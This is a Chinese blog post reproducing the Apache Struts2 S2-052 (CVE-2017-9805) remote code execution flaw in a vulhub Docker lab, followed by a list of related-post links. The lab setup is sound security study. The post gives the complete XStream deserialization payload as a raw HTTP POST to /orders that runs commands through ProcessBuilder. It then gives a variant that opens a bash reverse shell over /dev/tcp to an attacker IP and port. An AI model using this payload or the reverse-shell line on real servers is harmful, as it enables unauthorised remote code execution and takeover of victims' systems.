前言

struts2应用已是千疮百孔, 最近突发奇想想研究一下相关原理和利用情况。s2-052漏洞由lgtm.com的安全研究员汇报,编号为CVE-2017-9805,是一个远程命令执行漏洞,漏洞危害程度为高危(Critical)。当用户使用带有 XStream 程序的 Struts REST 插件来处理 XML payloads 时,可能会遭到远程代码执行攻击。

影响版本:Struts 2.5.12 版本,百度说还影响到 2.3.33 版本。

1.环境搭建

本次复现采用ubuntu系统,利用docker部署环境。以下来探讨以下在环境部署和过程中遇到的问题。

具体内容请查看以下连接,需要注意的是Linux的docker与docker-compose的不同。

https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md

请执行以下命令搭建靶场环境

apt install git docker.io docker-compose

git clone https://github.com/vulhub/vulhub.git

cd vulhub/struts2/s2-052/

docker-compose build

docker-compose up -d

注意:

在执行最后一步时可能会报错:Failed to start docker.service: Unit docker.service is masked.

解决方法:

systemctl unmask docker.service

systemctl unmask docker.socket

systemctl start docker.service

2.s2-052复现

根据第一步的操作检查环境是否成功部署,访问环境相关地址,如截图所示。

利用BurpSiute工具将payload发射到目标服务器,详细的POST数据和需要注意的事项请看下面的代码块,

POST /orders HTTP/1.1
Host: 192.168.204.142:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml  # 数据包头需要添加这个字段
Content-Length: 2414
Cookie: JSESSIONID=CF855BF35B5C60451837EEC2B4830419
Connection: close
Upgrade-Insecure-Requests: 1<map>
<entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command>
<string>touch</string>   # 执行命令
<string>/tmp/s2-052test.txt</string> # 执行命令</command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer/><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>

http包头信息

        将需要执行的命令添加到command字段

检查服务端结果

3.POC研究

在实验期间尝试执行其他命令,但好像该漏洞没有回显,在进一步深入后发现在执行的命令标签不能随意填写。

<command>
<string>touch</string>
<string>/tmp/s2-052test.txt</string>
                       </command>

尝试执行命令反弹shell。

<string>bash</string>
<string>-c</string>
<string>bash -i >&amp;/dev/tcp/192.168.204.135/10101 0>&amp;1</string>

参考连接:https://www.freebuf.com/vuls/147017.html

Struts2-052 漏洞复现相关推荐

  1. CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏洞复现

    全部题都是struts2框架漏洞 Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架 关于struts2漏洞,vulhub都有环境并且给出了漏洞原理和poc GitHub项目地 ...

  2. Struts2反序列化漏洞复现

    环境: vulhub 环境搭建 进入s2-048目录 切换root用户 启动漏洞环境 docker-compose up -d 漏洞复现 浏览器访问 showcase Gangster Name输入  ...

  3. Struts2框架漏洞总结与复现(上) 含Struts2检测工具

    Struts2框架漏洞总结与复现 1.Struts2复现准备 2.Struts2框架漏洞复现 2.1.S2-001漏洞复现 2.1.1.漏洞原理 2.1.2.影响版本 2.1.3.手工复现 2.1.3 ...

  4. java struts2 漏洞复现合集

    目录 一.S2-001复现 二.S2-005复现 三.S2-007复现 四.S2-008复现 五.S2-009复现 六.S2-012复现 七.S2-013复现 八.S2-015复现 九.S2-016复 ...

  5. struts2漏洞_Apache Struts2057远程代码执行漏洞复现

    网安引领时代,弥天点亮未来 0x00漏洞简述 2018年8月22日,Apache Strust2发布最新安全公告,Apache Struts2存在远程代码执行的高危漏洞(S2-057/CVE-2018 ...

  6. Struts2漏洞复现合集

    1. Struts2简介 Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图 ...

  7. Vulhub靶场之struts2漏洞复现

    简介 struts2漏洞中属s2系列杀伤力最大,可以造成远程命令执行漏洞. Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架.Apache Struts于2020年 ...

  8. Struts2 远程代码执行漏洞复现(附Struts2漏洞检测工具)

    0x00 Struts2 简介 Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet.Struts2 基于 MVC 架构,框架结 ...

  9. 网站apache环境S2-057漏洞 利用POC 远程执行命令漏洞复现

    S2-057漏洞,于2018年8月22日被曝出,该Struts2 057漏洞存在远程执行系统的命令,尤其使用linux系统,apache环境,影响范围较大,危害性较高,如果被攻击者利用直接提权到服务器 ...

  10. golang 远程批量执行shell_S2061远程代码执行漏洞复现及批量检测脚本(CVE202017530)...

    声明 由于传播.利用此文所提供的信息或工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,博鸿科技安全服务中心以及文章作者不为此承担任何责任. 博鸿科技安全服务中心拥有对此文章的修改和解释权 ...

最新文章

  1. java面向对象-------静态初始化块
  2. linux udevd服务 设备管理工具 简介
  3. PHP学习之路(一)工欲善其事,必先利其器(Zend配置)
  4. python有什么好玩的库_你知道Python很火!那你知道它有哪些好玩的库吗?
  5. [pytorch、学习] - 3.7 softmax回归的简洁实现
  6. c++ 多重背包状态转移方程_【考前再叮嘱】陌生方程式书写
  7. 在Android平台上发现新的恶意程序伪装成杀毒软件挟持设备
  8. Python编程中报过的错
  9. 理解js的prototype原型对象
  10. [android] AndroidManifest.xml 详解
  11. Zend Studio 10 phpFormatter 错误的解决
  12. 盘点全球8K视频直播的解决方案和成果
  13. PFC颗粒流 指定文件路径输出方法
  14. Ruff Chain 将亮相新加坡WDAS 2018世界数字资产峰会
  15. 本悟法师:信仰,让孤独走开
  16. pytorch系列8 --self.modules() 和 self.children()的区别
  17. 基于高德地图的交通数据分析
  18. ARM M3小计(一)1~3章。
  19. 学生管理系统【Python】
  20. Python实现节假日判断,手动添加后续节假日

热门文章

  1. Sky Computing
  2. python 图灵完备_图灵完备到底是个什么鬼?
  3. 剑指offer 手刷python 汇总整理版本~
  4. 电动汽车的新问题,保险公司赔不起,车主养不起
  5. 理财APP有哪些维度可向用户推荐理财产品
  6. 如何连接局域网_手机画面如何投屏到电视、盒子、投影仪?
  7. 苹果手机投影_没有无线网络的情况下手机无线投屏投影仪
  8. 要不是这些沙雕插件,我早就被公司开除了。
  9. 服务器控件与客户端控件
  10. Android Manifest 权限描述大全